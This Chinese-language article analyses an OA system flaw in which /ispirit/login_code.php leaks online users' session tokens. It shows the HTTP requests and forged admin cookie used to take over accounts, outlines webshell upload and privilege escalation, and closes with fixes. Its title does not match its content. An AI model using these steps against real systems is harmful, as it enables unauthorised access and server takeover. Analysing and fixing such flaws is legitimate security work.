不同高校相同Get Shell全过程
字数 807 2025-08-09 22:16:00
某OA系统在线用户越权访问漏洞分析与利用
漏洞概述
本文详细分析某OA系统中存在的在线用户越权访问漏洞,该漏洞允许攻击者通过特定接口获取其他用户的会话信息,进而实现未授权登录系统。
漏洞发现过程
1. 初始发现
- 通过公开文章了解到某OA系统存在在线用户越权访问漏洞
- 该漏洞涉及系统对在线用户信息的处理不当
2. 漏洞验证
- 访问特定接口获取在线用户信息
- 发现可以获取其他用户的会话凭证
漏洞详细分析
1. 漏洞接口
/ispirit/login_code.php
2. 漏洞原理
- 系统未对在线用户查询接口进行权限验证
- 返回数据中包含敏感会话信息
- 攻击者可利用这些信息构造有效会话
3. 漏洞利用步骤
步骤1:获取在线用户信息
发送GET请求:
GET /ispirit/login_code.php HTTP/1.1
Host: target.com
响应示例:
{
"code": 0,
"data": [
{
"UID": "1",
"USERNAME": "admin",
"TOKEN": "xxxxxxxxxxxx",
"CLIENT_IP": "192.168.1.100",
"LOGIN_TIME": "2023-01-01 12:00:00"
}
]
}
步骤2:构造有效会话
从响应中提取:
- UID
- TOKEN
- CLIENT_IP
步骤3:利用会话信息登录
构造Cookie:
PHPSESSID=xxxxxxxx; USER_NAME_COOKIE=admin; OA_USER_ID=1; SID_1=xxxxxxxx
步骤4:访问后台
使用构造的Cookie访问后台管理界面:
GET /general/ HTTP/1.1
Host: target.com
Cookie: PHPSESSID=xxxxxxxx; USER_NAME_COOKIE=admin; OA_USER_ID=1; SID_1=xxxxxxxx
漏洞利用扩展
1. 获取WebShell
成功登录后可通过以下方式获取WebShell:
方法1:利用文件上传功能
- 寻找系统中的文件上传点
- 上传包含恶意代码的文件
- 访问上传文件执行代码
方法2:利用数据库备份功能
- 使用系统数据库备份功能
- 在备份文件中插入恶意代码
- 恢复数据库时触发代码执行
2. 权限提升
- 利用系统管理功能添加管理员账户
- 修改现有用户权限
- 利用数据库操作执行系统命令
防御措施
1. 修复建议
- 对在线用户查询接口添加权限验证
- 敏感信息(如TOKEN)不应在响应中返回
- 实现严格的会话管理机制
- 增加请求来源验证
2. 临时缓解措施
- 禁用/ispirit/login_code.php接口
- 监控异常登录行为
- 加强日志审计
总结
该漏洞利用OA系统对在线用户信息处理不当的问题,通过简单的接口调用即可获取其他用户的会话凭证,进而实现未授权访问。企业应及时更新系统补丁,加强接口权限控制,避免类似安全问题发生。